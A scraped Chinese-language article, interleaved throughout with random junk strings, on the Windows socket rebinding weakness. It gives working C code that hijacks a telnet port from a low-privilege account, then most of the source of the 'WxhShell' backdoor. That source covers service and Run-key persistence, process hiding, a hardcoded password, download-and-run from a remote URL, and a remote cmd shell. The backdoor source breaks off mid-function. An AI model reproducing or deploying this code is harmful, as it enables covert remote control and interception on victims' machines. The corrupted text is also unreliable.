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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4aA9\\hfGY s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Fk aXA.JE K|Om5
p saddr.sin_family = AF_INET; xvdY
8%S zs0hXxTY: saddr.sin_addr.s_addr = htonl(INADDR_ANY);
] ;&"1A
">cqt>2 A bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t GC2
^a#~ M.S
s:ttj 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r
3|4gG -(
(Z@T1k 这意味着什么?意味着可以进行如下的攻击: .N!{ U m!0N"AjA 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HZ{n&iJ V!W1fb7V 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gd_^ yZ5x88 > 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]{Z8 oE6|Zw 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 v iJJ
e'\2 8ZW?|-i 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "9%qbMB "Tv:*L5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o(zTNk5d l0:5q?g 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b[yE~EQxr 5N1}Ns #include !VFem~'d #include
Y<aO #include |_, /u_ #include K?[)E3 DWORD WINAPI ClientThread(LPVOID lpParam); ]Z/R!y?l"G int main() -,|ha>r { /'\;8A$J` WORD wVersionRequested; W_%W%i| DWORD ret; r^Y~mq WSADATA wsaData; SOs,) BOOL val; rw]yKH SOCKADDR_IN saddr; 7
v~ro SOCKADDR_IN scaddr;
$WR? int err; !)nD xM`p SOCKET s; Y1WHy*s? SOCKET sc; z&>|*C.Y int caddsize; ULIFSd Y HANDLE mt; 6g~+( ({lQ DWORD tid; =zOeb/ wVersionRequested = MAKEWORD( 2, 2 ); LN\[Tmd & err = WSAStartup( wVersionRequested, &wsaData ); P5Dk63z] if ( err != 0 ) { +sRP<as printf("error!WSAStartup failed!\n"); ssA7Dx: return -1; ABZ06S/ } vK:QX$b saddr.sin_family = AF_INET; NpR6 C\A49q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "wINBya'M ~&KX-AC@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s1=+:: saddr.sin_port = htons(23); V^2-_V]8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )!sa)\E? { ~#Aa Ldq printf("error!socket failed!\n"); [ f34a return -1; lQL:3U0DjU } "{ FoA3g| val = TRUE; d;44;*D //SO_REUSEADDR选项就是可以实现端口重绑定的 i-.c=M if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @)b^^Fp { W&KM/9d printf("error!setsockopt failed!\n"); Uouq>N return -1; bE4HDq34 } s i?HkJv5 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uy9!qk //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KuXkI;63J> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {(Fe7,.S3 eO[c l B if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;RHNRVP { F~R7~ZE ret=GetLastError(); {cR3.%wX printf("error!bind failed!\n"); u(2BQO7 return -1; ~K`1 } >{t+4 p4k. listen(s,2); @c]Xh:I while(1) mgcN( n1 { 9^\hmpP@D caddsize = sizeof(scaddr); ~!]m6 / //接受连接请求 'HB~Dbq`V sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~-<:+9m if(sc!=INVALID_SOCKET) #8UseK { s#P:6]Ar mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ET+'Pj3 if(mt==NULL) kFwxK"n@C { t3>$|}O]t printf("Thread Creat Failed!\n"); P^zy; Qs7 break; q~h:<,5 } 8Zw]f-5x\ } -)RJ\V^{9 CloseHandle(mt); xiCN
qk3 } c,$mWTC closesocket(s); X" \}sl5 WSACleanup(); nq@5j0fK return 0; !g2a|g } 9-93aC.|} DWORD WINAPI ClientThread(LPVOID lpParam) @woC8X { liD47}+ SOCKET ss = (SOCKET)lpParam; EneAX&SG SOCKET sc; Sn ^Aud unsigned char buf[4096];
qpTm SOCKADDR_IN saddr; 4>k
I^ long num; p8>R#9 DWORD val; WIG=D{\Yx DWORD ret; v.b5iv 5 //如果是隐藏端口应用的话,可以在此处加一些判断 q^]tyU!w //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 =ybGb7? saddr.sin_family = AF_INET; r--;yEjWE saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7E(%9W6P saddr.sin_port = htons(23); <r;o6>+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [-58Ezyr { _[JkJwPTx printf("error!socket failed!\n"); LzE/g)> return -1; .[,6JU% } #TATqzA val = 100; n^Vxi;F if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !qw4mN { 6RP+4c ret = GetLastError(); 5[<F_"x return -1; 4|F#gK5E } I%i:)6Un-y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ns26$bU { gIBpOPr^d ret = GetLastError(); .+vd6Uc5a return -1; c _mq } T<M?PlED if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) NQR^%<hU { N]u2ql& printf("error!socket connect failed!\n"); K7Gm-=% closesocket(sc); e`AUYli" closesocket(ss); Yw[{beo return -1; }!=U^A) } ]v GgJ< while(1) H+R7X71{ { (Y )!"_| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4oN${7k0 //如果是嗅探内容的话,可以再此处进行内容分析和记录 \gd6Yx^[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zLK\I~rU! num = recv(ss,buf,4096,0); JT#7yetk' if(num>0) $`v+4] send(sc,buf,num,0); z^3Q.4Qc6^ else if(num==0) N33AcV!*8 break; FT4l$g7" num = recv(sc,buf,4096,0); K
plM['uF if(num>0) S\b K+ send(ss,buf,num,0); 6y9C@5p}B else if(num==0) /.2 qWQH break; {NV:|M ! } }1F6?do3& closesocket(ss); Th/{x
h closesocket(sc); (Z
8,e return 0 ; O a1'oYIHg } IhwN],-V hbH#Co~o4# "8?TSm8 ========================================================== uR^. -~}
tq] 下边附上一个代码,,WXhSHELL wsI5F&R, UFIjW[h ========================================================== L&'l3| b@!:=_Mr #include "stdafx.h" N;g$)zCV1 ZqFUPHc #include <stdio.h> BtID;^Dz #include <string.h> N2% :h;tf #include <windows.h> !%V*UR9 #include <winsock2.h> ]Ly8s#<g]N #include <winsvc.h> D$mf5G & #include <urlmon.h> %b9fW Zsgi{ #pragma comment (lib, "Ws2_32.lib") T(gg>_'jh #pragma comment (lib, "urlmon.lib") "5h_8k~sQ cP J7E #define MAX_USER 100 // 最大客户端连接数
2n(ItA #define BUF_SOCK 200 // sock buffer G\):2Qz!| #define KEY_BUFF 255 // 输入 buffer Z>&K&ttJ ?l>e75V%w #define REBOOT 0 // 重启 2$3kKY6$e #define SHUTDOWN 1 // 关机 aTX]+tBoe /xJY7yF #define DEF_PORT 5000 // 监听端口 *.xZfi_| VT
Vm7l #define REG_LEN 16 // 注册表键长度 38"cbHE3 #define SVC_LEN 80 // NT服务名长度 mgxz1d 9[Y*k^.! // 从dll定义API @EYK(QS- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &jFKc0\i@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z<I[vp6{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %~G0[fG typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7fUi?41XA v23TL // wxhshell配置信息 )#Y|ngZ_> struct WSCFG { .1 Vu-@ int ws_port; // 监听端口 1aVgwAI
char ws_passstr[REG_LEN]; // 口令 V.U|OQouT int ws_autoins; // 安装标记, 1=yes 0=no EtJD'& char ws_regname[REG_LEN]; // 注册表键名 vmMV n-\# char ws_svcname[REG_LEN]; // 服务名 <jg8y'm@0 char ws_svcdisp[SVC_LEN]; // 服务显示名 ~yd%~| char ws_svcdesc[SVC_LEN]; // 服务描述信息 yTP[,bM char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3JTU^ -S< int ws_downexe; // 下载执行标记, 1=yes 0=no 9Y\F53p&j char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" sBbL~ce50? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [O [FCn [q
w }; yB|]LYh 8Er[M // default Wxhshell configuration $+iu\MuX struct WSCFG wscfg={DEF_PORT, ?!R%o "xuhuanlingzhe", Y7*'QKz2 1, xcsFODx~ "Wxhshell", Vvx a.B "Wxhshell", 9t.fij "WxhShell Service", kqQphKkL "Wrsky Windows CmdShell Service", ,.J<.#D3J "Please Input Your Password: ", r*c82}tc 1, }k4` " http://www.wrsky.com/wxhshell.exe", _!|=AIX "Wxhshell.exe" buc,M@> }; h 3eGq:!9 ^
yY{o/6 // 消息定义模块 f2BS[$oV4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nomu$|I char *msg_ws_prompt="\n\r? for help\n\r#>"; ScM}m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; k];L!Fj1 char *msg_ws_ext="\n\rExit."; K]*g, s+ char *msg_ws_end="\n\rQuit."; cC7"J\+r* char *msg_ws_boot="\n\rReboot..."; Vi Cg|1c char *msg_ws_poff="\n\rShutdown..."; ^A:!ni@3 char *msg_ws_down="\n\rSave to "; )6PJ*;p- L3-<Kop char *msg_ws_err="\n\rErr!"; i528e{& char *msg_ws_ok="\n\rOK!"; 6RR4L^(m a15,'v$O char ExeFile[MAX_PATH]; #L|JkBia int nUser = 0; ?{y:s!! HANDLE handles[MAX_USER]; ?6_"nT*} int OsIsNt; -wPuml!hZ| dj8F6\ SERVICE_STATUS serviceStatus; !7kAJG g SERVICE_STATUS_HANDLE hServiceStatusHandle; yffU%
) p~v2XdR // 函数声明 zav* int Install(void); I{i:B int Uninstall(void); Ek gZxT_& int DownloadFile(char *sURL, SOCKET wsh); 6Cop#kW# int Boot(int flag); Hsd|ka$x> void HideProc(void); hfl%r9o int GetOsVer(void); *K0j5dx int Wxhshell(SOCKET wsl); S,d ngb{ void TalkWithClient(void *cs); I@y2HxM int CmdShell(SOCKET sock); 4OqE.LFu int StartFromService(void); F&nMI:h7 int StartWxhshell(LPSTR lpCmdLine); ]4LT# ,}xpYq_/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mGMinzf VOID WINAPI NTServiceHandler( DWORD fdwControl ); te! ]9rR F3H:I"4 // 数据结构和表定义 3:02`;3 SERVICE_TABLE_ENTRY DispatchTable[] = p``;!3~~ { \'}/&PCkr {wscfg.ws_svcname, NTServiceMain}, 5 b#"
G" {NULL, NULL} i;uG:,ro }; &VZmP5Gv `E4!u=% // 自我安装 *`QdkVER int Install(void) + !E{L { 47(1V/r char svExeFile[MAX_PATH]; Le#E! sU HKEY key; $2 +$,: strcpy(svExeFile,ExeFile); h~=\/vF UG^?a // 如果是win9x系统,修改注册表设为自启动 >? A `C!i if(!OsIsNt) { )N%1%bg^- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O>o}<t7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J?qcRg`1E RegCloseKey(key); ;s!ns N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J _[e9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U#~nN+SIt RegCloseKey(key); 7zJh;f/ return 0; X T)hPwg. } M~g~LhsF } `pv89aO } ]B-$p p else { &d|VH y+ J}Z_.:JO(w // 如果是NT以上系统,安装为系统服务 /Mi-lh^j- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kgbr+Yw2X if (schSCManager!=0) BF1O|Q|d6 { '@}?NV0 SC_HANDLE schService = CreateService Fh!!T%5>C ( 3Av(|<cR schSCManager, 3Mh,NQB wscfg.ws_svcname, 1l`s1C wscfg.ws_svcdisp, >I8hFtAM SERVICE_ALL_ACCESS, z"P,=M6De SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]9yA0,z/ SERVICE_AUTO_START, a*n%SUP SERVICE_ERROR_NORMAL, p?`|CE@h7 svExeFile, }9+1<mT9a/ NULL, lj SR?:\ NULL, WNlSve)]ie NULL, 39a]B`y NULL, &T{B~i3w8 NULL f29HQhXqS ); zHum&V8=H if (schService!=0) N mjBJ_G { z1@sEfk> CloseServiceHandle(schService); 1n5e^'z CloseServiceHandle(schSCManager); !y2h`ZAZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r|H!s, strcat(svExeFile,wscfg.ws_svcname); 4U y>#IL if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &+w!'LSaD RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [m+O0VK$ RegCloseKey(key); m$y$wo<K[7 return 0; ~9/nx|%D } fz?Wr: I } o?
xR[N-J CloseServiceHandle(schSCManager); eiSO7cGy } Ud(d Wj-/ } [j+0EVwB y7G|P~td return 1; }d*sWSPu( } /:L&uqA = {DB // 自我卸载 $6?KH7lA int Uninstall(void) (pxz#B4 { 89e.\EH HKEY key; :V1ZeNw l aL4ez if(!OsIsNt) { (L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I$qtfGr RegDeleteValue(key,wscfg.ws_regname); +CHO0n RegCloseKey(key); qmeEUch` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4a-F4j' RegDeleteValue(key,wscfg.ws_regname); ?[fl$EG RegCloseKey(key); 7Sv5fLu2 return 0; <YNPhu~5 } l|QFNW[i } ~#x!N=q } K<9MK>T else { lVBy&f w`Aw+[24 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Rl!WH%;c[X if (schSCManager!=0) u=i^F| { %;B'>$O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2/gj@>dt if (schService!=0)
NOr*+N\ { !Yi<h/: if(DeleteService(schService)!=0) { aRKG)0= CloseServiceHandle(schService); 8@#Y
<{ CloseServiceHandle(schSCManager); Z#V\[ return 0; qO'5*d;!d } vPq\reKe CloseServiceHandle(schService); @8d})X33 } Gjh7cm> CloseServiceHandle(schSCManager); <NsT[r~C }
]b$,.t5 } i 58CA? g2_df3Q return 1; JEkVj']? } !@ '2 F!t13%yeu? // 从指定url下载文件 3CRBu:)m int DownloadFile(char *sURL, SOCKET wsh) U,(+rMeY0 { fYPU'"hzG HRESULT hr; TzXl ?N char seps[]= "/";
';V+~pi char *token; >#|Q,hVU5 char *file; }
~bOP^' char myURL[MAX_PATH]; "Y0[rSz,UW char myFILE[MAX_PATH]; / /rWc,c ~q>ilnL"h strcpy(myURL,sURL); $KFWV2P token=strtok(myURL,seps); k3kqgR* while(token!=NULL) D:,<9 %A { g>oLc6T file=token; " <AljgF token=strtok(NULL,seps); >D aS*r } J[AgOUc Y{@[)M{< GetCurrentDirectory(MAX_PATH,myFILE); (*gpa:Sc strcat(myFILE, "\\"); u'>CU strcat(myFILE, file); ]x\wP7x send(wsh,myFILE,strlen(myFILE),0); S_6;e| send(wsh,"...",3,0); ~
$& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4 XQ?By if(hr==S_OK) D1k] return 0; 9-SXu lgu else vt,X:3 return 1; \I]'6N= p,fin?nW c } &x #5-O' ^ j7pF.j // 系统电源模块 q<7n5kJ~ int Boot(int flag) VGIc|Q=F { ovO^uWz` HANDLE hToken; ,-Gw#!0 TOKEN_PRIVILEGES tkp; h,g~J-x`| -:q7"s-}b if(OsIsNt) { /-lmfpT OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /2q%'"x( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *<1m
2t>. tkp.PrivilegeCount = 1; <s>SnOD
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cs)hq4-L` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R,lr&;a8 if(flag==REBOOT) { Y*f<\z(4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '%N
p9Iqt return 0; b`mEnI
VIz } WRCi! else { RB2u1]l if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cW\ 7yZh return 0; uwJkqlUOz } c9@* } z,WrLZC else { <:w7^m if(flag==REBOOT) { A@ +.[[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q I}Zg)q] return 0; ux=@"!PJ } tp"\ else { &*iiQ3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b,wO^07-3^ return 0; ,7aqrg } :>=,sLfJ } )? xg=o/? cQjJ9o7 return 1; %?seX+ne } xUYSD &
CgLF] // win9x进程隐藏模块 ^*W3{eyi(L void HideProc(void) w}iflAnjq { PNq#o%q U4gZW]F HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kI]1J if ( hKernel != NULL ) m(Oup=\%b} { Y+E@afsKs pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XH/|jE.9^| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (HEjmQjE FreeLibrary(hKernel); wZ\0<skU } TS-[p d #(7OvW+y return; )}EwEM } o,d:{tt a P`;Nr= // 获取操作系统版本 _*+M'3&= int GetOsVer(void) {uw]s<
6 { f~53:;L/ OSVERSIONINFO winfo; V; ChrmE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (Lc%G~{ GetVersionEx(&winfo); _|F h^hq if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WA<~M)rb return 1; m~}nM |m% else (*p |Kzu return 0; 5EU3BVu&u } y(%6?a @ x[_+U4-/ // 客户端句柄模块 'rSM6j int Wxhshell(SOCKET wsl) ej0q*TH. { (h
E^<jNR SOCKET wsh; )!0>2,R1 struct sockaddr_in client; p}h)WjC DWORD myID; S2`p&\Ifn P:Bg() while(nUser<MAX_USER) \E n ^Vf { 5y.kOe4vH int nSize=sizeof(client); \KTX{qI"f wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x]F:~(P if(wsh==INVALID_SOCKET) return 1; qLcs)&}/A ]":PO4M$* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1>n@`M8} if(handles[nUser]==0) gg<lWeS/3 closesocket(wsh); d5h:py5 else %kF6y_h` nUser++; %/4ChKf!VR } ;0 ,-ywK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "wdC/ gVb;sk^ return 0; hivWQ$6% } &)1+WrU "I
u3&mc // 关闭 socket j2V^1 void CloseIt(SOCKET wsh) f`T#=6C4| { .|!Kv+yD closesocket(wsh); } DoNp[` nUser--; yH irm|o ExitThread(0); a:C
ly9 } n%A)#AGGc Gq?JMq# // 客户端请求句柄 86oa>#opU void TalkWithClient(void *cs) ca5Ir<mL { Ju#
- >] &iez{[O SOCKET wsh=(SOCKET)cs; Re-4y5f char pwd[SVC_LEN]; !2=<MO char cmd[KEY_BUFF]; BVU>M*k char chr[1]; DYx3NDX7 int i,j; 4~4D1 yHe%e1 while (nUser < MAX_USER) { JZB7?@h% CKCot if(wscfg.ws_passstr) { 4YMX;W if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T@Mrbravc //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T'!7jgk{: //ZeroMemory(pwd,KEY_BUFF); >We4F2? i=0; C8ek{o)%W while(i<SVC_LEN) { gA D, r1ao=N // 设置超时 g[4pG`z fd_set FdRead; NH~\kV struct timeval TimeOut; XcLjUz ? FD_ZERO(&FdRead); >cJf D9-<h FD_SET(wsh,&FdRead); `)?N7g[\u TimeOut.tv_sec=8; ^Y,nv,gYn TimeOut.tv_usec=0;
>cw%ckE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "n'kv!?\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~>SqJ&-moo 4MUN1/DId` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wwaw|$ pwd =chr[0]; %?2y2O,; if(chr[0]==0xd || chr[0]==0xa) { P.aN4 9`= pwd=0; F#=M$j_ break; A{|^_1 } {#y~ Qk;T i++; e|>
5
R } _xY
dnTEl >UNx<=ry // 如果是非法用户,关闭 socket l]R=I2t if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rel_Z..~ } '-X[T} s k_TKN`+ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p?-qlPl send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,i)wS1@ '9u(9S while(1) { G9_7jX* ghU~H4[x D ZeroMemory(cmd,KEY_BUFF); :_k5[KT.]9 ~)CGwST[ // 自动支持客户端 telnet标准 FRhHp(0}5 j=0; }i$ER,hXh while(j<KEY_BUFF) { g>E.Snj} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ij5|P4Eka cmd[j]=chr[0]; L;h|Sk]{ if(chr[0]==0xa || chr[0]==0xd) { 8Wba Hw_ cmd[j]=0; 56o(gCj?y break; PCx: } G,!{Q''w j++; hh!4DHv } X4eoE b|pp}il // 下载文件 G4rd<V0[D if(strstr(cmd,"http://")) { (}m2} send(wsh,msg_ws_down,strlen(msg_ws_down),0); muAgsH$/ if(DownloadFile(cmd,wsh)) i0nu5kD+d send(wsh,msg_ws_err,strlen(msg_ws_err),0); x7GYWK
9 else ~^bf1W[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fe1XczB } qC6@ else { yXQ 28A t|P+^SL switch(cmd[0]) { }_=h]|6t } `Cc-X7 // 帮助 &$bcB]C\3 case '?': { 4&AGVplgF send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +2+|zXmT break; ' ""s%C+ } MFn\[J`Ra // 安装 |G)P
I`BH case 'i': { 3tW}a`z9 if(Install()) L 8J] X7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lb#PiTJI else =6a=`3r!I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &PPYxg< break; ;o158H$gz; } &z05h<] // 卸载 JmC2buO case 'r': { [9d\WPLC if(Uninstall()) {A~3/M%74; send(wsh,msg_ws_err,strlen(msg_ws_err),0); `(r0+Qx else 5 qMP u|A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [e>2HIS, break; r 6&+pSA> } EMPujik- // 显示 wxhshell 所在路径 _yp<#q] case 'p': { Ej $.x6: char svExeFile[MAX_PATH]; YZAQt*x strcpy(svExeFile,"\n\r"); 'U,\5jj'Y strcat(svExeFile,ExeFile); ,#bT send(wsh,svExeFile,strlen(svExeFile),0); p+228K ;H break; 3:<[;yo } dt0(04 // 重启 Gzp*Vr case 'b': { g 'Wr+(A_ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2UopGxrPKw if(Boot(REBOOT)) .e4upTGU send(wsh,msg_ws_err,strlen(msg_ws_err),0); k(xB%>ns else { "EVf1iQ closesocket(wsh); \O]kf>nC ExitThread(0); &UVqFo } _88X-~. break; fymmAfaR } :Dfl ,=S // 关机 0$i\/W+ case 'd': { WpOH1[8v send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~>Y^?l if(Boot(SHUTDOWN)) %_G '#Bn< send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vh^ :.y else { RRro.r, closesocket(wsh); lR/Uboyy ExitThread(0); !hE F.S } w]fVELU break; aWNjl } b~{nS,_Rn // 获取shell 3BAQ2S} case 's': { r*ziO#[ CmdShell(wsh); 5=fS^]- F closesocket(wsh); XjmAM/H4 ExitThread(0); 'UTMEN& break; <<V"4 C2 } 8@){\.M // 退出 7#N
?{3i case 'x': { -X3CrW send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O_ vH w^ CloseIt(wsh); 3#aLCpVla break; /`t}5U>S_ } 8Pva ]Q // 离开 >[~`rOU*|Y case 'q': { GnCs_[*&r send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7<(kvE*x closesocket(wsh); F=PBEaX WSACleanup();
bM }zGFt exit(1); f(\S+4 break; MwL!2r } 06`caG|]-M } y-S23B( } 4q?R 3\e; H_ NoW // 提示信息 B,` `2\B if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _,? xc" } b8[
ayy } crx%;R eT?vZH[N return; bZZ_yc } {DE4PE` |oQhtk8. // shell模块句柄 jw/@]f;N int CmdShell(SOCKET sock) :.f(}sCS { a/rQ@ c> STARTUPINFO si; ,#9i=gp ZeroMemory(&si,sizeof(si)); l[<o t9P[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ef3="}AI; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k4!p))ql PROCESS_INFORMATION ProcessInfo; zQ+
%^DT1 char cmdline[]="cmd"; %`s1
Ocvp CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !Q}Bz*Y return 0; 1_8@yO } a=sd&](_ p
S| // 自身启动模式 K_;?Sr= int StartFromService(void) )EcfEym.> { ^rGuyW# typedef struct LaL{
^wP { q4vHsy36 DWORD ExitStatus; D+w? DWORD PebBaseAddress; %6&c3,?U\n DWORD AffinityMask; m!(dk] DWORD BasePriority; BFqM6_/J ULONG UniqueProcessId; ]w]:9w ULONG InheritedFromUniqueProcessId; q6o}2<T@ } PROCESS_BASIC_INFORMATION; TXbi>t:/S{ zQB1C PROCNTQSIP NtQueryInformationProcess; cet|k! 0}e&ONDQ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jS|jPk|I. static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4KW_#d`t R[#B|$ HANDLE hProcess; 0OnqKgf PROCESS_BASIC_INFORMATION pbi; `:dGPBBO /<J5?H HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D}2$n?~+ if(NULL == hInst ) return 0; nFefDdP b86c[2 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l\u5RMS(' g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kZc Ge* NtQueryInformationProcess = 